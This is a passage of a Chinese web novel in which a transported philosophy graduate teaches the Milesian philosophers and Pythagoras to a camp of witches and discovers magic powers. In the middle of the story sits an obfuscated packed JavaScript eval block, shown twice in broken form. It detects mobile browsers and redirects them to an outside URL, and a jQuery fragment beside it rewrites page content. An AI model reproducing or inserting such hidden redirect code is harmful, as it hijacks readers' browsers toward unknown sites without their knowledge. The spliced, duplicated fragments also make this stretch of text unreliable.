她几乎是夺回了那张羊皮纸,“啪”一下将它拍在灶台上,又从裙子的口袋里拿出炭笔,就在羊皮纸下方的空白处,用力而艰难地“画”了起来。 她的动作带着点负气,但更多的是急于证明的迫切。 唐慈屏息凝神,放下了一直忘记放下的锅,身体前倾,凑近了看。 炭笔涂抹下,新的、同样结构松散但勉强可辨的中文字符,一个接一个地浮现: “……而阿那克西曼德认为……万物的本原不是水……而是无定者……无限者……” “……阿那克西美尼则说……气才是本原……气通过稀散和凝聚形成万物……” 之前泰勒斯那句话不知为何没有注明作者,所以唐慈尚有疑虑。 但是当“阿那克西曼德”与“阿那克西美尼”两个名字先后出现在羊皮纸上时,唐慈脑子里最后一点关于“巧合”的侥幸,彻底烟消云散。 米利都学派!古希腊哲学的源头!泰勒斯、阿那克西曼德、阿那克西美尼!这顺序,这观点,这核心命题的排列组合……哲学系出身的她,简直太清楚了! 这绝不可能是异世界某些先贤独立发展出来的相似思想,这根本就是她那个世界哲学史原典的片段! 所以到底是怎么回事啊......唐慈内心翻腾着惊涛骇浪。 她仿佛看到了一根无形的线,扭曲、诡异、跨越了无法想象的时空维度,将两个截然不同的世界强行连接在了一起——中文神谕是起点,古希腊哲学是第二块拼图......这背后到底藏着什么?大湮灭前的古籍,是否记录了更多唐慈所熟悉的内容? 娜拉还在奋笔疾书,连笔尖都带着焦灼的颤抖。 唐慈无声叹气,用有些脱力的手轻轻拍了拍她的肩膀。 娜拉回头,眼睛亮得吓人。 “娜拉……”唐慈眼神复杂,“我现在可以肯定了。你默写的的这部古籍,它所记录的,正是我那个世界西方哲学史上最初三位著名哲学家的核心观点。所以......” 似乎预料到唐慈之后要说的话,娜拉的眼睛猛地睁到极大,瞳孔深处似乎有星辰闪烁。 她的嘴唇无声地翕动着,整个人像是被无形的电流击中,微微颤抖起来。 三十九代人的传承,在这一刻终于即将找到了一个确凿的出口! 果然—— 唐慈的声音带着一种承诺的力度,她目光坚定地看着娜拉,斩钉截铁道:“所以……关于泰勒斯,关于‘水是万物的本原’,我现在就讲给你听。” 娜拉疯狂点头,激动地几乎原地蹦起来。 然而此时,一个优雅却饱含穿透力的声音,带着恰到好处的“打扰”,从两人身后悠然响起: “哟,我们的‘救世主’要开坛授课了?大湮灭前的古籍知识……如此珍贵的东西,只有娜拉一人独享未免可惜,不如让姐妹们也都来长长见识?” 唐慈和娜拉同时扭头,却见互助会会长奥罗拉不知何时悄然走近,她双手环抱在胸前,那双深邃的紫色眼眸落在唐慈身上,虽然带着笑意,但硬是把灶台边热出一身汗的唐慈盯出了刺骨寒意。 我怎么得罪她了?唐慈在看人脸色方面再迟钝,也能感觉到此时奥罗拉对自己的敌意已经藏不住了。 可是为什么啊?唐慈很懵。 看了眼奥罗拉过来的方向,仿佛是贝拉的菜圃。于是,阴差阳错地,一个说出来能令奥罗拉吐血的猜测在唐慈心中成型…… 不会吧,不会吧,难道奥罗拉生气......是因为我骗走了贝拉导致她吃不到贝拉做的饭?我的天,这个前贵族小姐品味可真独特啊! 12. 第12章 时间倒回半个钟头前。 女巫营地最靠近树屋大门的帐篷里,几乎彻夜未眠的奥罗拉在生物钟驱使下睁开了眼。 昨晚唐慈那句“谁是我们的朋友,谁是我们的敌人”像根带刺的藤蔓,始终紧紧缠绕着她的思绪,搅得她心神不宁。 身为黑荆棘女巫互助会的创建者和实际掌舵人,这个看似直白实则深邃的问题让她辗转反侧,榨干了所有睡意,直到天边泛起鱼肚白,她才勉强合眼片刻。 也不知道唐慈醒没醒,绝不能让她单独跟姐妹们相处太久……奥罗拉揉着胀痛的太阳穴起身,迅速整理了一下仪容,便走出了自己的帐篷,目光习惯性地扫了一圈营地。 玛格丽特不在,估计又是在睡懒觉,而女巫们的身影也一如往常,一个个都在练习自己那蹩脚的魔法...... 想到这点奥罗拉就不禁头疼,她始终不解,为何除了她、玛格丽特和贝克特,其他姐妹操控魔力总是如此笨拙?如果让唐慈看到她们闹出的各种笑话,自己这个会长的脸往哪搁?呃……好吧,唐慈应该已经看到了。 奥罗拉将目光落到正在灶台边忙碌的唐慈身上,这位“救世主”醒得比她早,此刻正一个人吃力地搬动着贝拉那口“宝贵”的大锅,“咚”地一声把它放在了地上。 嗯?奥罗拉眉头下意识地蹙起。 贝拉怎么不见了?往常这个时候,她正应该围着灶台转悠、试图用她灾难性的厨艺给大家做早餐啊! 一联想到贝拉那些黑暗料理,奥罗拉空荡荡的胃里条件反射般一阵抽搐。 那些颜色诡异、味道难以名状的糊状物,简直是味蕾的酷刑。 互助会的姐妹们,包括她自己,都曾无数次在吞咽时努力维持着礼貌的微笑,只为了守护贝拉那颗渴望做贡献又极易受伤的心灵。如果不是营地地处森林,随时能找到些果子充饥,只怕她们早就饿死了...... 因此,尽管她对唐慈充满警惕和排斥,但看着像模像样切菜和面、似乎准备亲手做饭的唐慈,奥罗拉此刻内心竟诡异地升起一丝微弱的期望:希望这个自称“不是救世主”的异界来客,做饭的手艺能至少比贝拉强那么一点点,哪怕只是一点点! 不过……奥罗拉猛地拉回了念头。 贝拉缺席早餐岗位,这事儿实在是太反常了!毕竟自从她的魔法开始失灵了以后,这个自卑的小女巫一直风雨无阻地给大家做饭,哪怕是生病都拦不住她。 而今天,虽然奥罗拉极不愿意承认,但是这顿饭可是“救世主”唐慈在女巫营地的第一顿正式早饭,于情于理,贝拉都不可能撂挑子……难道,是唐慈看到了贝拉做的菜,不小心说了什么,戳伤了她本就脆弱的心? 奥罗拉的心猛然揪紧,她立刻转身,大踏步走向贝拉的帐篷,一路上她甚至已经做好了为了安慰贝拉把她做的一锅泔水都吃下去的心理准备。 结果,在贝拉帐篷后的小菜圃里,奥罗拉看到了让她差点气笑的一幕。 贝拉正像个小孩一样抱膝蹲坐在田埂上,用一种前所未有的、近乎密友之间的轻柔语气,对着几株一直萎靡不振的珍贵药草说悄悄话。 如果不是她浑身笼罩着一层淡淡的、生机勃勃的魔法绿光,奥罗拉几乎都要误会贝拉这是因为魔法失灵太久而崩溃疯掉了。 而艾格尼丝和瓦伦蒂诺则像两尊石像,屏息凝神地杵在菜圃边围观着,脸上交织着“加油”、“她是不是疯了”以及“这能行吗”的复杂表情。 奥罗拉悄然走近,示意发现她的艾格尼丝和瓦伦蒂娜别出声。 唉……奥罗拉眼神微黯,算起来,贝拉已经很久很久没有鼓起勇气尝试使用魔法了。正因如此,无论贝拉今天抽了什么风,无论结果如何,这份重新燃起的勇气本身,都值得被无声地守护和鼓励。 女巫们都经历过魔法不稳定的瓶颈期,奥罗拉自己也是一样,所以她深知其中的痛苦。可惜她不知道自己是怎么熬过来的,无法为姐妹们提供指引。 而瓦伦蒂娜和艾格尼丝显然也一样,她们现在就处于瓶颈期,虽然没贝拉那么严重,但也在痛苦和沮丧中摸索了良久。 她们站在这里是给予贝拉无声的支持,而贝拉的再次尝试又何尝不是对她们的一种鼓励? 不过话说回来,虽然三人心照不宣地支持着贝拉,但是她们对于贝拉这次尝试的结果均不抱希望。 毕竟谁家正常女巫会主动跟植物套近乎啊,这到底是施展魔法还是玩过家家? 可是,打脸来的太快就像龙卷风,在奥罗拉她们都不看好时,奇迹悄然降临—— 那几株蔫头耷脑的药草,竟在贝拉儿戏一样的操作下,肉眼可见地舒展叶片,挺直茎秆,焕发出水润的光泽! 更令人瞠目的是,它们以惊人的速度抽条、绽开莹白的小花,瞬间结出饱满的、散发着微光的银色果实! “哇!我成功啦!你们看到了吗?哈哈哈哈哈哈哈......”贝拉原地跳起来,激动地大呼小叫。 围观的三人直接石化,眼珠子都快瞪出来了。 不是……这也行?贝拉这算是莫名其妙闯过瓶颈期了吗? 奥罗拉都不知道该说啥了,她知道自己现在应该像瓦伦蒂娜和艾格尼丝一样走上前拥抱恭喜贝拉,但是她迈不动腿、张不开嘴,一个冰冷又绝望的念头占据了她的大脑: 这该死的奇迹不会唐慈那个所谓的“救世主”带来的吧?怎么贝拉的魔力早不恢复晚不恢复,偏偏唐慈来了她就开窍了!如果救世主光环真这么大,她还拿什么和唐慈争? 奥罗拉自己在这天人交战,那边艾格尼丝已经按耐不住,开始询问贝拉的窍门,奥罗拉听到后勉强收回来心神,侧耳倾听贝拉怎么回答。 贝拉现在显然兴奋过头了,说话相当语无伦次,奥罗拉大致总结下来,就是说刚才贝拉做饭时听唐慈给她讲了个古老的箴言,叫什么“万物与我为一”,之后贝拉莫名其妙就醒悟了,她开始跟植物平等交流,试着了解它们的想法……结果,一试就成功了! 而且贝拉还激动地宣称,她使用魔力从没像现在这样得心应手过,之前她建造树屋营地花了一个多月,现在她有信心在一周之内造出个一模一样甚至更坚固的! 呵!还真是跟唐慈有关,虽然不是玄乎的“救世主光环”,但却是实打实的“智慧启发”。 一时间,奥罗拉竟有点分不出这两种情况,哪个 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刚走近,恰好听到唐慈那带着某种确认和承诺的声音响起:“……关于泰勒斯,关于‘水是万物的本原’,我现在就讲给你听。” 泰勒斯?奥罗拉对这个名字毫无概念。 但是看着娜拉那瞬间被狂喜点亮的脸庞,又看着唐慈那副似乎又要“指点迷津”的模样,奥罗拉心中那点拧巴的、不肯认输的邪火猛地蹿了上来。 她甚至没来得及细想,一句明显带着锋芒的话脱口而出:“哟,我们的‘救世主’要开坛授课了?大湮灭前的古籍知识?如此珍贵的东西,只有娜拉一人独享未免可惜,不如让姐妹们也都来长长见识?” 说完,她目光紧锁着唐慈的脸,试图在上面捕捉一丝慌乱或不满。 但她失望了,唐慈的确有些惊讶,那双总显得过分坦率的眼睛里略过一丝不解的微澜,但很快转为平静,完全没有丝毫被冒犯的不悦。 唐慈将目光投向娜拉,显然是在征求娜拉的意见。而娜拉自然也无所谓,她现在只想赶紧听课,只是催促奥罗拉快去喊人。 见两人平静地仿佛无事发生,连个迟疑都没有就同意了,奥罗拉胸口那口郁结的气非但没有顺下去,反而堵得更厉害了。 她对唐慈“救世主”面具之下的真实面孔的这次试探彻底宣告失败,就像一记重拳打进了虚空,不仅连个涟漪都没溅起来,反而显得她像个无理取闹自取其辱、最后还要靠别人给台阶下的跳梁小丑。 带着满心无处着力的憋闷,奥罗拉悻悻然转身,周身笼罩着生人勿近的低气压,迈开步子到营地各处喊人,就连玛格丽特等几个睡懒觉没醒的女巫,也都被她一个个从被窝里拽了出来。 虽然生气,但是奥罗拉的效率还是一如既往的高,再加上有唐慈“救世主”开堂授课的光环加持,很快,营地里的女巫便齐聚在了她们平时用餐的位置。 她们围成了一个圈,每人手中都拿着娜拉发给她们的炭笔和羊皮纸,她们看向站在中央准备讲课的唐慈,目光中都带着一种近乎虔诚的专注。 13. 第13章 在前世,唐慈大三实习的时候不是没有讲过课,但那时和现在的感受完全不同。 那时她只是一个在学生面前说话会脸红的普通实习老师,但此时,压在她头顶的,却是“救世主”这顶凭空落下的沉重冠冕,以及冠冕之下女巫们沉甸甸的期待。 在经历了昨天算是不欢而散的篝火晚宴后,唐慈其实已经暂时放弃了在这个阶段跟女巫们辩驳自己到底是不是“救世主”这回事,但是今天娜拉的询问又给了她一个新的契机—— 单纯的口号的确是苍白无力的,但思想的种子一旦埋入沃土,哪怕只是破开一丝缝隙,也足以撬动那些被教廷铁腕所固化的、深植于女巫们灵魂深处的枷锁。 虽然她更想给女巫们讲自己的斗争观念,但是眼下强行宣扬只会适得其反,似乎只能从教哲学开始潜移默化了。 “诸位,”唐慈的声音带着一种因责任而生的力量,“今天,让我们试着触碰一种名为‘哲学’的东西。它曾是我那个世界认知的基石,也是你们的世界,在那场名为‘大湮灭’的浩劫中被刻意抹去的一种智慧。” 她目光扫过一张张写满困惑与好奇的脸庞,她们是女巫,是流亡者,是被污名化的异类,此刻却只是一群懵懂的学生。 “哲学追问的,是世界的根本,既万事万物由什么构成?如何运转?而我们,又如何去认识它?” “两千多年前,在我的故土,一群和我们一样渴望理解世界真相的人,开始了这样的叩问。有明确记载的第一位叩问者,名叫泰勒斯。” “泰勒斯观察到河流奔涌入海,观察到雨水滋养万物,观察到生命在湿润中诞生、在干涸中凋零。于是,他提出了一个观点:万物起源于水,万物最终复归于水。” 话音落下,预想中的沉思并未出现,反而像捅了马蜂窝。 “万物是水?”炼金女巫瑞金娜第一个皱起眉头,“那我费尽力气熔炼的那些金属块呢?它也是水变的?怎么变的?” “那风呢?光呢?”暗影女巫海伦娜的声音幽幽飘来,“它们也是水吗?我的影子......也是水吗?” “是啊,这怎么可能?我的火焰烧灼木头,木头变成灰烬和热气......在这过程中,水在哪里?”奥罗拉这次倒不是挑刺儿,她是真觉得这个泰勒斯在胡说八道。 千奇百怪的问题向唐慈砸来,带着女巫们各自能力带来的独特视角,也带着被教廷禁锢多年思维后特有的僵化与混乱。 唐慈感到一阵熟悉的头大,有种过年面对一群亲戚家小孩儿时的无奈。 “安静!”唐慈抬起手,压下这片嘈杂。女巫们停下了七嘴八舌的疑问,目光再次聚焦在她身上。 “哲学,”唐慈放缓了语速,耐心讲解道:“它本身就是一部问题的历史,这些问题包括‘宇宙如何生成’、‘万物存在的前提’、‘人生的终极意义’等等。面对这些很多人思考过的问题,泰勒斯第一个提出了他的答案。” “所以,‘水是万物本原’这个观点的珍贵之处在于,它点燃了‘思考’本身,开启了质疑那些看似‘理所当然’之物的道路。泰勒斯之后的哲学家们,正是在不断追问、质疑、甚至推翻前人的过程中,一步步向前探索。” “说实话,直到我生活的那个时代,这些根本性的问题,也远未达到终极答案。诸位,哲学不是不容置疑的神谕,它不贩卖绝对的真理。它锻造的,是思考的武器,是探索未知的勇气,是直面世界混沌本质的智慧。这种智慧,正是我们反抗压迫、理解自身处境、并最终改变命运的基石。” 听了这话,一丝更深的迷茫在女巫们眼中升起。 唐慈说那么多,最关键的一句不就是说哲学没有答案?那追寻的意义何在?不是闲的吗? 在一片困惑的寂静中,玛格丽特似有所悟,但是娜拉抢在她前面急切地开口了,她的声音因激动而微微发颤: “唐慈!我,我这样理解对吗?泰勒斯所说的‘万物是水’,只是他本人对世界构成提出的一种解释,并非神圣不可侵犯的真理对吗?我们完全可以质疑他?就像......就像我们可以质疑教廷的谎言?” 唐慈心头一暖,不禁微笑起来。 娜拉,不愧是厄休拉的血脉,第一个抓住了那把关键的钥匙——批判性思维。 “说得很好,娜拉。”唐慈用力点头,“‘水是万物之本原’并非颠扑不破的定律,而是泰勒斯基于他的观察和推理,为理解世界提供的第一个理论模型。我们可以分析它,它哪里观察得深刻,哪里又有其局限。比如,他强调了水的流动性和滋养生命的作用,这很有洞见。但显然,用‘水’来解释火焰、石头、甚至影子,就显得捉襟见肘了。” “所以,你们刚才的质疑......”她环视众人,目光带着鼓励,“正触及哲学精神最核心的部分:大胆假设,小心求证,永不停歇的追问与理性的审视,你们做得很好!” 女巫们都若有所思的点头,年龄最小的菲比嘻嘻一笑,打趣道:“嘻嘻,这个泰勒斯老爷爷真逗!他只要低头看看自己,就该发现他的皮肉骨头跟水一点儿也不像嘛!他总不会觉得自己是块会走路的水豆腐吧?” 听了这话,唐慈失笑道:“呃,逻辑上的确如此。就比如我这只手......”她自然而然地抬起了自己的右手,掌心朝向女巫们,五指张开,阐述道:“在泰勒斯的看来,构成这只手的物质,本质上也是水,只是呈现出‘手’的形态而已。” 就在话音落下的瞬间—— 嗡! 一种难以言喻的奇异波动以唐慈为中心猛地扩散开来,仿佛空气被狠狠拨动了一下。 那只手,居然在所有人的注视下,毫无征兆地变成了流动的、半透明的、泛着清冽水波光泽的……水的形态! 它维持着“手”的完美轮廓,五指、掌纹、甚至指甲的弧度都纤毫毕现,却彻底失去了血肉的质感与温度,宛如一尊最顶级的、流动的水晶雕塑,又像是被无形的容器约束住的一汪清泉。林间稀疏的阳光穿过树冠,洒落其上,折射出无数跳跃、变幻、令人目眩神迷的璀璨光晕。 时间凝固了。 营地的空气仿佛被彻底抽干,只余下死寂。 林间的风声止歇了,连女巫们细微的呼吸声仿佛也彻底停滞。 十几双眼睛,瞪大到极限,瞳孔里清晰地映着那只宛如神迹的“水之手”。 唐慈自己也彻底僵在原地。 一股冰冷的麻痹感从脊椎瞬间窜上头顶,在头皮处炸开,全身的血液似乎都在这一瞬间涌向心脏,又在下一秒冻结。 她的大脑一片空白,只剩下那只脱离了她意志、兀自流动变幻的“手”占据了她全部的视野。 虽然她来到这个光怪陆离的世界已成既定事实,但是她从没想过会有魔法能力,以如此突兀、如此不容置疑的方式降临在自己身上。 也许是恍惚了一瞬,也许是僵持了很久,总之,营地中的死寂被一声惊喜的尖叫声打破。 是娜拉。 她站起来,瘦削的瓜子脸因狂喜和震撼涨得通红,声音颤抖得不成样子: “天啊!世界回应了您!” “您......您觉醒了!这是您的天赋!” “就像会长,就像我们所有人!” “您已经是一个女巫了!” 娜拉狂热的惊呼像滚烫的烙铁烫在唐慈的心上,让她猛地一颤。 就在唐慈心神动摇的瞬间,那璀璨夺目的“水之手”如同被戳破的肥皂泡,水光无声地内敛、凝聚、重新塑形上色。 仅仅一眨眼的功夫,唐慈那只原本的、温热而真实的手,便重新出现在众人眼前。 “呼……”唐慈几乎是虚脱般地长吁一口气,冷汗瞬间浸透了后背。刚才那几秒,仿佛一个世纪那么漫长。 她紧紧握住失而复得的右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“在泰勒斯之后,阿那克西曼德提出,万物的本原不是水,而是‘无定形’,那是一种无限的、无定型的、包含一切对立面的原始混沌。在阿那克西曼德看来,像我本人,”唐慈顿了顿,指向自己,“也是由这‘无定形’所构成和承载的。” 话音落下的刹那,一种难以言喻的奇妙感觉瞬间席卷了她。 在十几双眼睛的注视下,唐慈整个人,无论是她的身体,她的衣物,还是她存在的一切痕迹,都如同被投入海中的水滴,无声无息地、极其迅速地“晕开”,融入了周围的空气。 没有光芒,没有声响。 她就这么消失了! 仿佛她从未站在那里,仿佛她本身就是这片空间的一部分。 “唐慈?!” “人呢?!” “救世主?!” 惊呼声瞬间炸响,女巫们猛地围拢到唐慈刚才站立的位置。 众人喊了半天,可唐慈依旧不见踪影。 女巫们开始慌了,好几个女巫伸出手臂在空气中徒劳地挥舞,仿佛试图抓住什么。 “她怎么能离开啊!她还没把那些古籍翻译给我听呢......”娜拉双目无神地到处搜寻,甚至连灶台里的木柴都被她扒拉出来。 “她......她是不是趁机跑了?”瑞金娜的声音带着哭腔,说出了最坏的猜想,“就像,就像她说的,她来自另一个世界,现在找到方法回去了?” “不会的!救世主不会抛弃我们的!”贝拉带着哭腔反驳,但声音里充满了不确定。 玛格丽特也是心焦不已,她闭上眼睛,调动起天赋,试图倾听空气中属于唐慈的思维波动,但反馈回来的却是一片奇异的、仿佛融入背景噪音般的“空”。 “找!分头找!她肯定还在附近!”奥罗拉看着四处乱翻乱转、茫然绝望的女巫们,再也顾不上自怨自艾,立马站出来稳定局面。 虽然之前她巴不得唐慈主动离开,但是这一个上午唐慈带给了姐妹们太多希望,如果她真的就此消失,肯定会给互助会带来更大打击。 14. 第14章 消失后,唐慈的感觉无比奇妙。 她没有实体,没有重量,仿佛化作了最纯粹的意识,弥漫在营地之中。 她能看到女巫们惊慌失措的样子,能听到她们焦急的呼唤和议论,甚至能感觉到她们情绪波动的微弱涟漪。 她尝试着移动,意念所至,她便如无形的风,轻易地穿过了那口被搬到地上的大锅,以及锅旁边的灶台。 她感受不到任何阻碍,仿佛那坚实的铁器和石头对她而言,只是密度稍高的空气。 本来她还想等着看看自己的魔力坚持多久,没想到营地里的情况转瞬间变得不可控,很多女巫都是一边哭一边寻找她,凄凄惨惨的场景让唐慈直呼自己“不是东西”。 她只好将心念一松,那种“无定形”的状态便如同潮水般退去,她的身影在离灶台几步之遥的空地上,毫无征兆地重新显现,轮廓由模糊迅速变得坚实,物质感、重量感、清晰的视觉和听觉瞬间回归,如同套上一件久违的旧衣。 “别找了,我是不可能离开你们的。” 唐慈脸上浮现出歉意,但是从又惊又喜地跑过来的女巫们根本没有责备她,相反,她们只是围过来,带着失而复得的喜悦,七嘴八舌地问唐慈各种关于魔力的问题。 唐慈听得头昏脑涨,最后还是玛格丽特总结了一下,问出了几乎所有女巫都关心的问题:“唐慈,你感觉怎么样?第二次使用魔力,有没有一种不顺手的阻塞感?” 唐慈仔细回忆了一下,随后摇摇头:“没有啊,很顺畅。就像......就像呼吸一样自然。” “那,那你刚才突然出现,是因为魔力耗尽维持不住吗?你现在有没有感觉很累?”贝拉小心翼翼地问。 “没有啊。”唐慈有点不好意思地笑笑,“是我看你们着急,就赶紧出现了......本来打算测试一下我能维持多久的。” 这个回答让女巫们面面相觑,眼中充满了更深的震撼和羡慕。 随心所欲!毫无阻塞!没有消耗! 这简直是她们拼尽全力、冒着魔力反噬的风险也无法企及的境界。 即使是营地里公认最强大的奥罗拉,她所拥有的那种能焚毁村庄的火焰魔法,在唐慈这深不见底的能力面前,也显得如同凡人仰望星辰。 奥罗拉显然同样意识到了这点。 不过这样也好,少许差距可能会让她心有不甘,但是如此之大的落差反而给她带来了一种近乎认命的释然。 还争啥......老老实实听“救世主”讲课吧,没准自己也能像贝拉一样顿悟些什么。 为此,奥罗拉甚至还帮忙组织了一下课堂秩序,“好了,都坐回去!”她把女巫们一个个按回了自己的位置,随后对唐慈道:“唐慈,阿那可西曼德我们差不多理解了,之后还有谁?” “谢谢你奥罗拉!那我们继续吧?”唐慈晃了晃手中娜拉那张写满“鬼画符”的羊皮纸:“下一个我们讲阿那克西美尼。他认为万物本原不是水,也不是阿那克西曼德的‘无定形’,而是——气。” “气?”菲比下意识地抽了抽鼻子,嗅了嗅林间的空气,“像风一样的东西?” “类似,但不完全一样。”唐慈点点头,环顾一周。“阿那克西美尼认为,气是流动的、无处不在的。它通过两种方式变化:稀散和凝聚。稀散时,它变成火;凝聚时,它先变成风,然后是云,再凝聚变成水,再凝聚变成土,最后变成石头。万物,包括我们,都是不同凝聚程度的气。” “凝聚?”海伦娜皱着眉,努力理解这个陌生的词,“就像......就像水变成冰?” “非常接近!”唐慈眼睛一亮,“就像水汽遇冷凝结成水滴,水滴再冻成冰。只不过阿那克西美尼认为,构成万物的基本东西是气,而不是水。关键在于变化的方式——稀散让它变得稀薄、活跃、炽热;凝聚则让它变得稠密、沉重、冰冷。” 为了更直观,唐慈弯下腰,从地上拾起一片干枯蜷曲的落叶,又从灶台下的冷灰里拨出一小块尚未燃尽的黑色木炭。 “看这个。”她先将枯叶举到众人眼前,然后对着它平稳地、长长地吹了一口气。气流推动着叶片,让它轻飘飘地向前飞了一小段距离,才悠悠然落回地面。唐慈指了指自己的嘴唇:“刚才这口气息,就是一种稀薄的、运动的气,它改变了叶子的位置。” 接着,她举起那块木炭。“而这个,按照阿那克西美尼的理论,是高度凝聚的气的产物,木头本身就是一种凝聚状态的气,它燃烧的过程就是一种剧烈的稀散。木头的一部分稀散、活跃,变成了我们看到的跳动的火焰和感受到的热量;另一部分则进一步凝聚、沉淀,变成了这些黑色的、更惰性的灰烬。这样解释,大家能明白吗?” 女巫们纷纷点头,态度端正地连唐慈都开始怀疑自己是不是真有什么讲课的天赋。当然,她还是很有自知之明的,选择把原因归功于女巫们本身的聪慧以及前三位哲学家的思想相对直观。 而现在,娜拉抄录下来的米利都三杰的核心观点已然讲完。唐慈的目光扫过一张张充满求知欲的脸,稍作停顿。 娜拉立刻捕捉到了她的犹豫,这位知识女巫急切地开口:“救世主大人,请继续讲下去吧!这些古籍后面的知识,我会尽快整理抄录下来再向您请教!” 又叫她救世主......唐慈觉得自己真有必要郑重声明一下了:“诸位,请你们不要再叫我救世主了,我真心希望你们能叫我唐慈,实在觉得别扭也可以叫我唐慈老师......这是我故乡对传授知识者的尊称。” 唐慈又教了几遍“老师”的读法,直到女巫们不情不愿地学会了,课堂才算正式进入下一个阶段。 “好,如果说泰勒斯追问‘世界是什么做的’,阿那克西美尼追问‘世界如何变化’,那么下一位哲学家毕达哥拉斯,则发现了一个更深刻、更隐秘的维度。他认为,万物的本质不是水,不是无定形,也不是气,而是‘数’,万物皆数!” 说到这关键处,唐慈忽然想起一个极其重要的问题,她猛地打住话头,带着一丝不确定看向众人:“等等!有个前提条件得先弄清楚:你们这个世界……有数学吗?” “数学?”玛格丽特问道,“你指的是……计算之术?测量之法?” “对!”唐慈用力点头,目光扫过众人,“就是关于数字、数量、形状、结构、空间以及它们之间关系的学问。比如计数、加减乘除、丈量土地、计算角度……这些基础的东西,你们知道吗?大湮灭后有没有相关的知识流传下来?” 奥罗拉一声冷哧:“呵,当然流传下来了。收税需要记账,丈量土地需要绳尺和角度,商人交易需要计算盈亏。教廷虽然焚毁了绝大部分他们认为‘危险’的知识,但为了精确地榨取每一滴财富,他们不得不保留了最低限度的算术和几何......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973487|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她嘴角勾起一丝冷峭的弧度,“毕竟,连灰烬之主的神甫们,也需要知道信徒们到底奉献了多少枚金币,不是吗?” 见奥罗拉只顾着批判教廷,半天说不到重点,玛格丽特只好接口道:“奥罗拉和我,在离家之前,都接受过教会的基础教育,学过这些实用的计算和测量。后来在营地里,我们也把能教的都教给了姐妹们。所以,基础的计数、加减乘除,认识一些简单的几何图形,比如三角形、圆形、方形,用绳子丈量距离,这些大家都会。” 贝拉、瑞金娜等女巫也纷纷点头,表示确实学过。 唐慈心头一松,这真是意外之喜! “太好了!”她精神一振,“那我们就有了理解毕达哥拉斯的关键钥匙。他所说的‘数’,不仅仅是用来数羊羔的一二三,而是指一种万物的内在秩序和比例关系,一种宇宙运行的和谐法则!他认为,这种秩序、比例、和谐,才是构成世界最本质的东西。其中,音乐就是最直观的例子。” “什么意思,不是在讲数学吗,怎么扯到秩序、和谐......还有音乐上了?我的天,感觉比之前的要难理解得多!”炼金女巫瑞金娜难得开口,之前讲得那些她并不太感兴趣,但是数学却是她从小感兴趣的东西,她还是忍不住提问了。 唐慈思索了一下后,从贝拉那里要来了一段坚韧的草茎,请瑞金娜过来帮忙。 在瑞金娜略带困惑但依旧利落的协助下,她们在树桩两端固定住草茎,唐慈在草茎中间轻轻一拨。“嗡......”一声单调的弦鸣。 “现在,”唐慈示意瑞金娜,“按住草茎正中间。” 瑞金娜依言按住中点。唐慈拨动草茎的一半长度。“嗡......”音调变高了。 “听到了吗?同一个东西,长度减半,声音就变了。”唐慈解释,“毕达哥拉斯发现,当弦的长度比例是简单的整数比时,比如1:2、2:3、3:4,发出的声音组合在一起就特别悦耳、和谐。这就是音乐和谐的秘密——数的比例!” “啊!原来如此。唐慈老师,那这种比例法则,是不是也存在于万物变化之中?比如矿石的提纯?我之前总是凭感觉往锅里加原料,每次提炼出来的成品都不太一样,是不是因为比例没把握好?” “很有可能,”唐慈肯定道,“万物皆有其结构,结构即关系,关系即比例。你炼金时采用的不同材料、温度以及时间,都可能蕴藏了物质转化过程中能量与结构重组所需的比例关系。” “以上这些同样适用于菲比的魔药制作——”唐慈话锋一转,看向正在羊皮纸上写写画画的菲比,菲比一听提到了自己,立刻来了精神,连声问“怎么说怎么说”。 唐慈笑了笑,道:“我其实也只是一种推测,菲比你比我更懂魔药,你可以想想,不同草药的组合,是不是并非简单的堆砌?是否有些组合会相互抵消,有些会猛烈反应?成功的药方,是否在于找到几种草药之间那个精确的、能产生你想要效果的配比平衡点?” 菲比猛地捂住嘴,眼睛瞪得溜圆,仿佛醍醐灌顶:“啊!对对对!就像我今天早上调配的魔药,同样的材料,上次喝完神清气爽,这次差点没给我毒死......原来是因为材料比例不同!” 她兴奋地手舞足蹈,立刻把位置挪到瑞金娜旁边,两人兴奋地小声商量,打算在上完课后一起交流关于“魔药稳定性”以及“炼金转化效率”的经验。 15. 第15章 耐心等她们商量完,唐慈刚准备继续讲课。 忽然,一直安静聆听,似乎神游天外的观星女巫伊薇特,像是被什么无形的东西扯动了心神,她猛地站起来,对着唐慈颤声问道: “唐慈老师!如果秩序和比例是宇宙的法则。那星辰呢?那些在夜空中遵循固定轨迹运行的星辰,它们的位置、速度、周期……是否也是这种数的和谐的最宏大体现?是否也遵循着某种我们尚未完全理解的比例?” 唐慈带着一种发现天才学生的欣喜,回答道:“是的,伊薇特!这正是毕达哥拉斯学派的核心洞见之一!他们认为,宇宙本身就是一个巨大的、和谐的秩序体,一个由数学比例构建的完美球体。天体运行的轨道、速度、距离,都遵循着神圣的数学比例,如同最宏大的乐章,奏响着‘天体的音乐’。整个宇宙,就是一个‘数’的和谐整体!” “天体的音乐……数的和谐……”伊薇特喃喃重复着,眼神失去了焦点,仿佛穿透了营地的树冠,直抵那浩瀚无垠的星空深处。 不知想到了什么,她猛然一拍脑门,脸上骤然血色褪尽,随即又被一种近乎惊骇的明悟所取代。 紧接着,在所有人惊愕的目光注视下,伊薇特转过身,以惊人的速度冲向营地边缘那棵最高的古树,她的观星小屋就搭建在这棵树的顶端。 “伊薇特!”唐慈喊了一声。 但伊薇特充耳不闻。 她攀着绳梯一路飞速向上爬,口中还语无伦次地嘶喊着:“我就知道它有问题!那个该死的星体偏移,它根本不是偶然的扰动!” 在女巫们茫然错愕的注视下,伊薇特的身影迅速消失在浓密的枝叶间,只留下一种山雨欲来的沉重。 